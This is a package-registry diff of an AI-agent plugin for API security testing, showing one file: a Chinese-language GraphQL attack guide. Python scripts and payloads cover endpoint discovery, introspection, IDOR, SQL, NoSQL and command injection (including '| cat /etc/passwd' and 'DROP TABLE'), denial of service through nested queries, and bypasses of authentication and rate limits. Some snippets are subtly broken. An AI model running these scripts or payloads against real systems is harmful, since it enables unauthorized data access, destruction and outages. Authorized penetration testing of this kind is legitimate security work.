opencode-api-security-testing 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +98 -0
- package/agents/cyber-supervisor.md +55 -0
- package/agents/probing-miner.md +42 -0
- package/agents/resource-specialist.md +31 -0
- package/commands/api-security-testing-scan.md +59 -0
- package/commands/api-security-testing-test.md +49 -0
- package/commands/api-security-testing.md +72 -0
- package/index.ts +9 -0
- package/package.json +37 -0
- package/references/README.md +72 -0
- package/references/asset-discovery.md +612 -0
- package/references/fuzzing-patterns.md +129 -0
- package/references/graphql-guidance.md +684 -0
- package/references/pua-agent.md +192 -0
- package/references/report-template.md +63 -0
- package/references/rest-guidance.md +547 -0
- package/references/severity-model.md +288 -0
- package/references/test-matrix.md +284 -0
- package/references/validation.md +425 -0
- package/references/vulnerabilities/01-sqli-tests.md +1128 -0
- package/references/vulnerabilities/02-user-enum-tests.md +423 -0
- package/references/vulnerabilities/03-jwt-tests.md +499 -0
- package/references/vulnerabilities/04-idor-tests.md +362 -0
- package/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
- package/references/vulnerabilities/06-biz-logic-tests.md +501 -0
- package/references/vulnerabilities/07-security-config-tests.md +511 -0
- package/references/vulnerabilities/08-brute-force-tests.md +457 -0
- package/references/vulnerabilities/09-vulnerability-chains.md +465 -0
- package/references/vulnerabilities/10-auth-tests.md +537 -0
- package/references/vulnerabilities/11-graphql-tests.md +355 -0
- package/references/vulnerabilities/12-ssrf-tests.md +396 -0
- package/references/vulnerabilities/README.md +148 -0
- package/references/workflows.md +192 -0
- package/src/index.ts +108 -0
- package/tsconfig.json +17 -0
|
@@ -0,0 +1,684 @@
|
|
|
1
|
+
# GraphQL 安全测试指导
|
|
2
|
+
|
|
3
|
+
## 目录
|
|
4
|
+
|
|
5
|
+
1. [GraphQL 特征识别](#1-graphql-特征识别)
|
|
6
|
+
2. [端点发现](#2-端点发现)
|
|
7
|
+
3. [内省查询](#3-内省查询)
|
|
8
|
+
4. [查询构造](#4-查询构造)
|
|
9
|
+
5. [授权测试](#5-授权测试)
|
|
10
|
+
6. [注入测试](#6-注入测试)
|
|
11
|
+
7. [拒绝服务](#7-拒绝服务)
|
|
12
|
+
8. [Bypass 技巧](#8-bypass-技巧)
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## 1. GraphQL 特征识别
|
|
17
|
+
|
|
18
|
+
### 识别特征
|
|
19
|
+
|
|
20
|
+
| 特征 | 说明 |
|
|
21
|
+
|------|------|
|
|
22
|
+
| URL | `/graphql`, `/api`, `/query` |
|
|
23
|
+
| Content-Type | `application/json` |
|
|
24
|
+
| 请求方法 | POST (主要), GET (查询) |
|
|
25
|
+
| 请求体 | `{"query": "...", "variables": {...}}` |
|
|
26
|
+
| 响应 | `{"data": {...}, "errors": [...]}` |
|
|
27
|
+
|
|
28
|
+
### 常见 GraphQL 路径
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
/graphql
|
|
32
|
+
/graphql/console
|
|
33
|
+
/api/graphql
|
|
34
|
+
/api/v1/graphql
|
|
35
|
+
/graphql-api
|
|
36
|
+
/query
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### 技术识别
|
|
40
|
+
|
|
41
|
+
```python
|
|
42
|
+
# GraphQL 识别方法
|
|
43
|
+
def detect_graphql(url):
|
|
44
|
+
# 1. 检查 GraphQL 特有响应
|
|
45
|
+
resp = requests.post(url, json={"query": "{__typename}"})
|
|
46
|
+
if "data" in resp.json() and "__typename" in resp.text:
|
|
47
|
+
return True
|
|
48
|
+
|
|
49
|
+
# 2. 检查 introspection 端点
|
|
50
|
+
resp = requests.post(url, json={
|
|
51
|
+
"query": "{__schema{queryType{name}}}"
|
|
52
|
+
})
|
|
53
|
+
if "data" in resp.json():
|
|
54
|
+
return True
|
|
55
|
+
|
|
56
|
+
# 3. 检查 GraphQL 特有错误
|
|
57
|
+
if "errors" in resp.json() and any(
|
|
58
|
+
e.get("message", "").startswith("Cannot query")
|
|
59
|
+
for e in resp.json().get("errors", [])
|
|
60
|
+
):
|
|
61
|
+
return True
|
|
62
|
+
|
|
63
|
+
return False
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## 2. 端点发现
|
|
69
|
+
|
|
70
|
+
### 2.1 常见路径探测
|
|
71
|
+
|
|
72
|
+
```python
|
|
73
|
+
# GraphQL 端点字典
|
|
74
|
+
GRAPHQL_PATHS = [
|
|
75
|
+
"/graphql",
|
|
76
|
+
"/graphql/console",
|
|
77
|
+
"/api/graphql",
|
|
78
|
+
"/api/v1/graphql",
|
|
79
|
+
"/api/v2/graphql",
|
|
80
|
+
"/graphql-api",
|
|
81
|
+
"/query",
|
|
82
|
+
"/graphql.php",
|
|
83
|
+
"/graphqly",
|
|
84
|
+
"/api/query",
|
|
85
|
+
]
|
|
86
|
+
|
|
87
|
+
# 探测函数
|
|
88
|
+
def probe_graphql_endpoint(base_url):
|
|
89
|
+
for path in GRAPHQL_PATHS:
|
|
90
|
+
url = base_url + path
|
|
91
|
+
try:
|
|
92
|
+
resp = requests.post(url, json={"query": "{__typename}"}, timeout=5)
|
|
93
|
+
if resp.status_code == 400 and "data" in resp.text:
|
|
94
|
+
print(f"[+] Found GraphQL: {url}")
|
|
95
|
+
return url
|
|
96
|
+
except:
|
|
97
|
+
pass
|
|
98
|
+
return None
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### 2.2 从 JS 中发现
|
|
102
|
+
|
|
103
|
+
```python
|
|
104
|
+
# 从 JS 源码中提取 GraphQL 配置
|
|
105
|
+
GRAPHQL_PATTERNS = [
|
|
106
|
+
r'["\']/(?:graphql|api/graphql)["\']',
|
|
107
|
+
r'endpoint\s*:\s*["\']([^"\']+)["\']',
|
|
108
|
+
r'graphql\s*:\s*["\']([^"\']+)["\']',
|
|
109
|
+
r'new\s+GraphQLClient\(["\']([^"\']+)["\']',
|
|
110
|
+
]
|
|
111
|
+
|
|
112
|
+
def extract_from_js(js_content):
|
|
113
|
+
endpoints = []
|
|
114
|
+
for pattern in GRAPHQL_PATTERNS:
|
|
115
|
+
matches = re.findall(pattern, js_content)
|
|
116
|
+
endpoints.extend(matches)
|
|
117
|
+
return list(set(endpoints))
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## 3. 内省查询
|
|
123
|
+
|
|
124
|
+
### 3.1 完整内省查询
|
|
125
|
+
|
|
126
|
+
```python
|
|
127
|
+
# 获取完整 schema
|
|
128
|
+
INTROSPECTION_QUERY = """
|
|
129
|
+
{
|
|
130
|
+
__schema {
|
|
131
|
+
queryType { name }
|
|
132
|
+
mutationType { name }
|
|
133
|
+
subscriptionType { name }
|
|
134
|
+
types {
|
|
135
|
+
kind
|
|
136
|
+
name
|
|
137
|
+
fields(includeDeprecated: true) {
|
|
138
|
+
name
|
|
139
|
+
args {
|
|
140
|
+
name
|
|
141
|
+
type { name kind ofType { name kind } }
|
|
142
|
+
defaultValue
|
|
143
|
+
}
|
|
144
|
+
type { name kind ofType { name kind } }
|
|
145
|
+
isDeprecated
|
|
146
|
+
deprecationReason
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
"""
|
|
152
|
+
|
|
153
|
+
# 执行内省
|
|
154
|
+
def introspect(url, headers=None):
|
|
155
|
+
resp = requests.post(
|
|
156
|
+
url,
|
|
157
|
+
json={"query": INTROSPECTION_QUERY},
|
|
158
|
+
headers=headers
|
|
159
|
+
)
|
|
160
|
+
return resp.json()
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### 3.2 分字段内省
|
|
164
|
+
|
|
165
|
+
```python
|
|
166
|
+
# 获取所有 Query 字段
|
|
167
|
+
QUERY_FIELDS = """
|
|
168
|
+
{
|
|
169
|
+
__schema {
|
|
170
|
+
queryType {
|
|
171
|
+
fields {
|
|
172
|
+
name
|
|
173
|
+
description
|
|
174
|
+
args { name type { name } }
|
|
175
|
+
type { name }
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
}
|
|
180
|
+
"""
|
|
181
|
+
|
|
182
|
+
# 获取所有 Mutation 字段
|
|
183
|
+
MUTATION_FIELDS = """
|
|
184
|
+
{
|
|
185
|
+
__schema {
|
|
186
|
+
mutationType {
|
|
187
|
+
fields {
|
|
188
|
+
name
|
|
189
|
+
description
|
|
190
|
+
args { name type { name } }
|
|
191
|
+
type { name }
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
"""
|
|
197
|
+
|
|
198
|
+
# 获取特定类型详情
|
|
199
|
+
TYPE_DETAIL = """
|
|
200
|
+
{
|
|
201
|
+
__type(name: "User") {
|
|
202
|
+
name
|
|
203
|
+
fields {
|
|
204
|
+
name
|
|
205
|
+
type { name }
|
|
206
|
+
}
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
"""
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### 3.3 枚举值获取
|
|
213
|
+
|
|
214
|
+
```python
|
|
215
|
+
# 获取枚举值
|
|
216
|
+
ENUM_VALUES = """
|
|
217
|
+
{
|
|
218
|
+
__type(name: "UserRole") {
|
|
219
|
+
enumValues {
|
|
220
|
+
name
|
|
221
|
+
description
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
}
|
|
225
|
+
"""
|
|
226
|
+
|
|
227
|
+
# 获取输入类型
|
|
228
|
+
INPUT_TYPES = """
|
|
229
|
+
{
|
|
230
|
+
__schema {
|
|
231
|
+
inputTypes {
|
|
232
|
+
name
|
|
233
|
+
inputFields {
|
|
234
|
+
name
|
|
235
|
+
type { name }
|
|
236
|
+
}
|
|
237
|
+
}
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
"""
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## 4. 查询构造
|
|
246
|
+
|
|
247
|
+
### 4.1 基本查询
|
|
248
|
+
|
|
249
|
+
```python
|
|
250
|
+
# 简单查询
|
|
251
|
+
QUERY_1 = """
|
|
252
|
+
{
|
|
253
|
+
user(id: "1") {
|
|
254
|
+
id
|
|
255
|
+
username
|
|
256
|
+
email
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
"""
|
|
260
|
+
|
|
261
|
+
# 带参数查询
|
|
262
|
+
QUERY_2 = """
|
|
263
|
+
{
|
|
264
|
+
users(filter: {role: "admin"}, limit: 10) {
|
|
265
|
+
id
|
|
266
|
+
username
|
|
267
|
+
profile {
|
|
268
|
+
name
|
|
269
|
+
avatar
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
"""
|
|
274
|
+
|
|
275
|
+
# 嵌套查询
|
|
276
|
+
QUERY_3 = """
|
|
277
|
+
{
|
|
278
|
+
orders(first: 5) {
|
|
279
|
+
edges {
|
|
280
|
+
node {
|
|
281
|
+
id
|
|
282
|
+
total
|
|
283
|
+
user {
|
|
284
|
+
username
|
|
285
|
+
email
|
|
286
|
+
}
|
|
287
|
+
items {
|
|
288
|
+
product { name }
|
|
289
|
+
quantity
|
|
290
|
+
}
|
|
291
|
+
}
|
|
292
|
+
}
|
|
293
|
+
}
|
|
294
|
+
}
|
|
295
|
+
"""
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
### 4.2 Mutation
|
|
299
|
+
|
|
300
|
+
```python
|
|
301
|
+
# 登录 Mutation
|
|
302
|
+
LOGIN_MUTATION = """
|
|
303
|
+
mutation {
|
|
304
|
+
login(username: "admin", password: "admin123") {
|
|
305
|
+
token
|
|
306
|
+
user {
|
|
307
|
+
id
|
|
308
|
+
username
|
|
309
|
+
}
|
|
310
|
+
}
|
|
311
|
+
}
|
|
312
|
+
"""
|
|
313
|
+
|
|
314
|
+
# 创建资源
|
|
315
|
+
CREATE_MUTATION = """
|
|
316
|
+
mutation {
|
|
317
|
+
createPost(input: {
|
|
318
|
+
title: "Test"
|
|
319
|
+
content: "Test content"
|
|
320
|
+
authorId: "1"
|
|
321
|
+
}) {
|
|
322
|
+
id
|
|
323
|
+
title
|
|
324
|
+
}
|
|
325
|
+
}
|
|
326
|
+
"""
|
|
327
|
+
|
|
328
|
+
# 更新资源
|
|
329
|
+
UPDATE_MUTATION = """
|
|
330
|
+
mutation {
|
|
331
|
+
updateUser(id: "1", input: {
|
|
332
|
+
email: "hacked@example.com"
|
|
333
|
+
}) {
|
|
334
|
+
id
|
|
335
|
+
email
|
|
336
|
+
}
|
|
337
|
+
}
|
|
338
|
+
"""
|
|
339
|
+
|
|
340
|
+
# 删除资源
|
|
341
|
+
DELETE_MUTATION = """
|
|
342
|
+
mutation {
|
|
343
|
+
deleteUser(id: "1") {
|
|
344
|
+
success
|
|
345
|
+
}
|
|
346
|
+
}
|
|
347
|
+
"""
|
|
348
|
+
```
|
|
349
|
+
|
|
350
|
+
---
|
|
351
|
+
|
|
352
|
+
## 5. 授权测试
|
|
353
|
+
|
|
354
|
+
### 5.1 未授权访问
|
|
355
|
+
|
|
356
|
+
```python
|
|
357
|
+
# 不带 Token 测试
|
|
358
|
+
def test_unauthorized(url):
|
|
359
|
+
queries = [
|
|
360
|
+
"{ users { id username email } }",
|
|
361
|
+
"{ orders { id total } }",
|
|
362
|
+
"{ admin { panel } }",
|
|
363
|
+
]
|
|
364
|
+
|
|
365
|
+
for query in queries:
|
|
366
|
+
resp = requests.post(url, json={"query": query})
|
|
367
|
+
if "data" in resp.json() and resp.json()["data"] is not None:
|
|
368
|
+
print(f"[!] 未授权访问: {query}")
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### 5.2 字段级授权
|
|
372
|
+
|
|
373
|
+
```python
|
|
374
|
+
# 测试字段级权限(Admin 字段普通用户可见)
|
|
375
|
+
def test_field_auth(url, user_token):
|
|
376
|
+
# 用户自己的查询
|
|
377
|
+
user_query = """
|
|
378
|
+
{
|
|
379
|
+
user(id: "1") {
|
|
380
|
+
id
|
|
381
|
+
username
|
|
382
|
+
email
|
|
383
|
+
isAdmin # 应该需要 admin 权限
|
|
384
|
+
}
|
|
385
|
+
}
|
|
386
|
+
"""
|
|
387
|
+
|
|
388
|
+
headers = {"Authorization": f"Bearer {user_token}"}
|
|
389
|
+
resp = requests.post(url, json={"query": user_query}, headers=headers)
|
|
390
|
+
|
|
391
|
+
if "isAdmin" in str(resp.json()):
|
|
392
|
+
print("[!] 字段级权限绕过 - 普通用户可见 admin 字段")
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
### 5.3 IDOR 测试
|
|
396
|
+
|
|
397
|
+
```python
|
|
398
|
+
# GraphQL IDOR 测试
|
|
399
|
+
def test_graphql_idor(url, token):
|
|
400
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
401
|
+
|
|
402
|
+
# 用自己的 token 访问自己的数据(基线)
|
|
403
|
+
baseline = requests.post(url, json={
|
|
404
|
+
"query": "{ user(id: \"1\") { id username } }"
|
|
405
|
+
}, headers=headers)
|
|
406
|
+
|
|
407
|
+
# 尝试访问其他用户的数据
|
|
408
|
+
for victim_id in ["2", "3", "4", "5"]:
|
|
409
|
+
resp = requests.post(url, json={
|
|
410
|
+
"query": f'{{ user(id: "{victim_id}") {{ id username email }} }}'
|
|
411
|
+
}, headers=headers)
|
|
412
|
+
|
|
413
|
+
data = resp.json().get("data")
|
|
414
|
+
if data and data.get("user"):
|
|
415
|
+
print(f"[!] IDOR - 可访问用户 {victim_id} 的数据")
|
|
416
|
+
```
|
|
417
|
+
|
|
418
|
+
---
|
|
419
|
+
|
|
420
|
+
## 6. 注入测试
|
|
421
|
+
|
|
422
|
+
### 6.1 SQL 注入 (在 Query 变量中)
|
|
423
|
+
|
|
424
|
+
```python
|
|
425
|
+
# SQL 注入测试
|
|
426
|
+
SQLI_PAYLOADS = [
|
|
427
|
+
'" OR "1"="1',
|
|
428
|
+
"' OR '1'='1",
|
|
429
|
+
"1; DROP TABLE users--",
|
|
430
|
+
"1' UNION SELECT NULL--",
|
|
431
|
+
]
|
|
432
|
+
|
|
433
|
+
def test_sqli_injection(url, token):
|
|
434
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
435
|
+
|
|
436
|
+
for payload in SQLI_PAYLOADS:
|
|
437
|
+
resp = requests.post(url, json={
|
|
438
|
+
"query": f'{{ user(id: "{payload}") {{ id username }} }}',
|
|
439
|
+
"variables": {"id": payload}
|
|
440
|
+
}, headers=headers)
|
|
441
|
+
|
|
442
|
+
if "error" not in resp.text and "sql" in resp.text.lower():
|
|
443
|
+
print(f"[!] SQL 注入: {payload}")
|
|
444
|
+
```
|
|
445
|
+
|
|
446
|
+
### 6.2 NoSQL 注入
|
|
447
|
+
|
|
448
|
+
```python
|
|
449
|
+
# NoSQL 注入测试 (MongoDB)
|
|
450
|
+
NOSQL_PAYLOADS = [
|
|
451
|
+
'{"$ne": null}',
|
|
452
|
+
'{"$gt": ""}',
|
|
453
|
+
'{"$regex": ".*"}',
|
|
454
|
+
'{"$where": "1==1"}',
|
|
455
|
+
]
|
|
456
|
+
|
|
457
|
+
def test_nosql_injection(url, token):
|
|
458
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
459
|
+
|
|
460
|
+
for payload in NOSQL_PAYLOADS:
|
|
461
|
+
resp = requests.post(url, json={
|
|
462
|
+
"query": f'{{ users(filter: {{username: {payload}}}) {{ id }} }}'
|
|
463
|
+
}, headers=headers)
|
|
464
|
+
|
|
465
|
+
if resp.status_code == 200:
|
|
466
|
+
print(f"[?] NoSQL 注入候选: {payload}")
|
|
467
|
+
```
|
|
468
|
+
|
|
469
|
+
### 6.3 命令注入
|
|
470
|
+
|
|
471
|
+
```python
|
|
472
|
+
# 如果 GraphQL 支持文件操作或系统命令
|
|
473
|
+
CMD_PAYLOADS = [
|
|
474
|
+
"; ls",
|
|
475
|
+
"| cat /etc/passwd",
|
|
476
|
+
"`whoami`",
|
|
477
|
+
"$(id)",
|
|
478
|
+
]
|
|
479
|
+
|
|
480
|
+
def test_cmd_injection(url, token):
|
|
481
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
482
|
+
|
|
483
|
+
# 查找支持文件操作的字段
|
|
484
|
+
# filePath, command, shell 等
|
|
485
|
+
fields = ["filePath", "command", "shell", "script"]
|
|
486
|
+
|
|
487
|
+
for field in fields:
|
|
488
|
+
query = f"""
|
|
489
|
+
{{
|
|
490
|
+
system(input: {{ {field}: "; ls" }}) {{
|
|
491
|
+
output
|
|
492
|
+
}}
|
|
493
|
+
}}
|
|
494
|
+
"""
|
|
495
|
+
resp = requests.post(url, json={"query": query}, headers=headers)
|
|
496
|
+
|
|
497
|
+
if resp.status_code == 200 and "root:" in resp.text:
|
|
498
|
+
print(f"[!] 命令注入在字段: {field}")
|
|
499
|
+
```
|
|
500
|
+
|
|
501
|
+
---
|
|
502
|
+
|
|
503
|
+
## 7. 拒绝服务
|
|
504
|
+
|
|
505
|
+
### 7.1 深度嵌套查询
|
|
506
|
+
|
|
507
|
+
```python
|
|
508
|
+
# 深度嵌套导致 DoS
|
|
509
|
+
NESTED_QUERY = """
|
|
510
|
+
{
|
|
511
|
+
user(id: "1") {
|
|
512
|
+
friends {
|
|
513
|
+
friends {
|
|
514
|
+
friends {
|
|
515
|
+
friends {
|
|
516
|
+
id
|
|
517
|
+
username
|
|
518
|
+
}
|
|
519
|
+
}
|
|
520
|
+
}
|
|
521
|
+
}
|
|
522
|
+
}
|
|
523
|
+
}
|
|
524
|
+
"""
|
|
525
|
+
|
|
526
|
+
# 批量查询导致 DoS
|
|
527
|
+
BATCH_QUERY = """
|
|
528
|
+
{
|
|
529
|
+
u1: user(id: "1") { id }
|
|
530
|
+
u2: user(id: "2") { id }
|
|
531
|
+
# ... 重复 100 次
|
|
532
|
+
u100: user(id: "100") { id }
|
|
533
|
+
}
|
|
534
|
+
"""
|
|
535
|
+
|
|
536
|
+
def test_dos(url):
|
|
537
|
+
# 测试嵌套深度
|
|
538
|
+
for depth in [5, 10, 15, 20]:
|
|
539
|
+
query = build_nested_query(depth)
|
|
540
|
+
start = time.time()
|
|
541
|
+
resp = requests.post(url, json={"query": query}, timeout=10)
|
|
542
|
+
duration = time.time() - start
|
|
543
|
+
|
|
544
|
+
if duration > 5:
|
|
545
|
+
print(f"[!] DoS - 深度 {depth} 耗时 {duration}s")
|
|
546
|
+
```
|
|
547
|
+
|
|
548
|
+
### 7.2 资源密集型字段
|
|
549
|
+
|
|
550
|
+
```python
|
|
551
|
+
# 搜索/计算密集型字段
|
|
552
|
+
EXPENSIVE_FIELDS = [
|
|
553
|
+
"search(query: *)",
|
|
554
|
+
"compute(primes: 1000000)",
|
|
555
|
+
"generateReport(year: 9999)",
|
|
556
|
+
"exportAllData()",
|
|
557
|
+
]
|
|
558
|
+
|
|
559
|
+
def test_expensive_operations(url):
|
|
560
|
+
for field in EXPENSIVE_FIELDS:
|
|
561
|
+
query = f"{{ {field} }}"
|
|
562
|
+
start = time.time()
|
|
563
|
+
try:
|
|
564
|
+
resp = requests.post(url, json={"query": query}, timeout=5)
|
|
565
|
+
duration = time.time() - start
|
|
566
|
+
if duration > 3:
|
|
567
|
+
print(f"[!] 耗时操作: {field} ({duration}s)")
|
|
568
|
+
except:
|
|
569
|
+
pass
|
|
570
|
+
```
|
|
571
|
+
|
|
572
|
+
---
|
|
573
|
+
|
|
574
|
+
## 8. Bypass 技巧
|
|
575
|
+
|
|
576
|
+
### 8.1 绕过字段限制
|
|
577
|
+
|
|
578
|
+
```python
|
|
579
|
+
# 如果某字段被过滤,尝试别名
|
|
580
|
+
ALIAS_BYPASS = """
|
|
581
|
+
{
|
|
582
|
+
user: users(limit: 1) { id }
|
|
583
|
+
_user: users(limit: 1) { id username }
|
|
584
|
+
}
|
|
585
|
+
"""
|
|
586
|
+
|
|
587
|
+
# 绕过类型检查
|
|
588
|
+
TYPE_BYPASS = """
|
|
589
|
+
{
|
|
590
|
+
# 如果 Int 期望 5,尝试 String "5"
|
|
591
|
+
user(id: "5") { id }
|
|
592
|
+
}
|
|
593
|
+
"""
|
|
594
|
+
|
|
595
|
+
# 绕过 N+1 限制
|
|
596
|
+
N_PLUS_1_BYPASS = """
|
|
597
|
+
{
|
|
598
|
+
# 多次执行同一查询
|
|
599
|
+
u1: user(id: "1") { id }
|
|
600
|
+
u2: user(id: "2") { id }
|
|
601
|
+
# 避免字段限制
|
|
602
|
+
}
|
|
603
|
+
"""
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
### 8.2 绕过认证
|
|
607
|
+
|
|
608
|
+
```python
|
|
609
|
+
# 如果登录被限制,尝试
|
|
610
|
+
AUTH_BYPASS = [
|
|
611
|
+
# 1. 直接访问需要认证的查询
|
|
612
|
+
"{ admin { users { id } } }",
|
|
613
|
+
|
|
614
|
+
# 2. 利用注册接口创建 admin
|
|
615
|
+
MUTATION_CREATE_ADMIN = """
|
|
616
|
+
mutation {
|
|
617
|
+
register(input: {
|
|
618
|
+
username: "admin2"
|
|
619
|
+
password: "Admin123!"
|
|
620
|
+
role: "admin" # 尝试设置 admin 角色
|
|
621
|
+
}) { token }
|
|
622
|
+
}
|
|
623
|
+
""",
|
|
624
|
+
|
|
625
|
+
# 3. 利用忘记密码重置 admin
|
|
626
|
+
]
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
### 8.3 绕过速率限制
|
|
630
|
+
|
|
631
|
+
```python
|
|
632
|
+
# 如果有速率限制,尝试
|
|
633
|
+
RATE_LIMIT_BYPASS = [
|
|
634
|
+
# 1. 使用不同字段名
|
|
635
|
+
{"query": "{ u: user(id: \"1\") { id } }"},
|
|
636
|
+
{"query": "{ user1: user(id: \"1\") { id } }"},
|
|
637
|
+
|
|
638
|
+
# 2. 注释绕过
|
|
639
|
+
{"query": "{ user(id: \"1\") { id } } # "},
|
|
640
|
+
{"query": "{ user /* */ (id: \"1\") { id } }"},
|
|
641
|
+
|
|
642
|
+
# 3. 变量混淆
|
|
643
|
+
{"query": "query($id: ID!) { user(id: $id) { id } }",
|
|
644
|
+
"variables": {"id": "1"}},
|
|
645
|
+
]
|
|
646
|
+
```
|
|
647
|
+
|
|
648
|
+
---
|
|
649
|
+
|
|
650
|
+
## 附录:GraphQL 测试检查清单
|
|
651
|
+
|
|
652
|
+
```
|
|
653
|
+
□ 发现阶段
|
|
654
|
+
□ 识别 GraphQL 端点
|
|
655
|
+
□ 从 JS 中发现 GraphQL 配置
|
|
656
|
+
□ 获取完整 Schema (introspection)
|
|
657
|
+
|
|
658
|
+
□ 查询测试
|
|
659
|
+
□ 列出所有类型和字段
|
|
660
|
+
□ 获取枚举值
|
|
661
|
+
□ 理解数据模型关系
|
|
662
|
+
|
|
663
|
+
□ 授权测试
|
|
664
|
+
□ 未认证访问
|
|
665
|
+
□ 字段级权限绕过
|
|
666
|
+
□ IDOR (跨用户访问)
|
|
667
|
+
□ 垂直越权
|
|
668
|
+
|
|
669
|
+
□ 注入测试
|
|
670
|
+
□ SQL 注入
|
|
671
|
+
□ NoSQL 注入
|
|
672
|
+
□ 命令注入
|
|
673
|
+
□ XSS
|
|
674
|
+
|
|
675
|
+
□ DoS 测试
|
|
676
|
+
□ 深度嵌套查询
|
|
677
|
+
□ 批量查询
|
|
678
|
+
□ 资源密集型操作
|
|
679
|
+
|
|
680
|
+
□ 安全配置
|
|
681
|
+
□ 限流测试
|
|
682
|
+
□ CORS 配置
|
|
683
|
+
□ 调试模式
|
|
684
|
+
```
|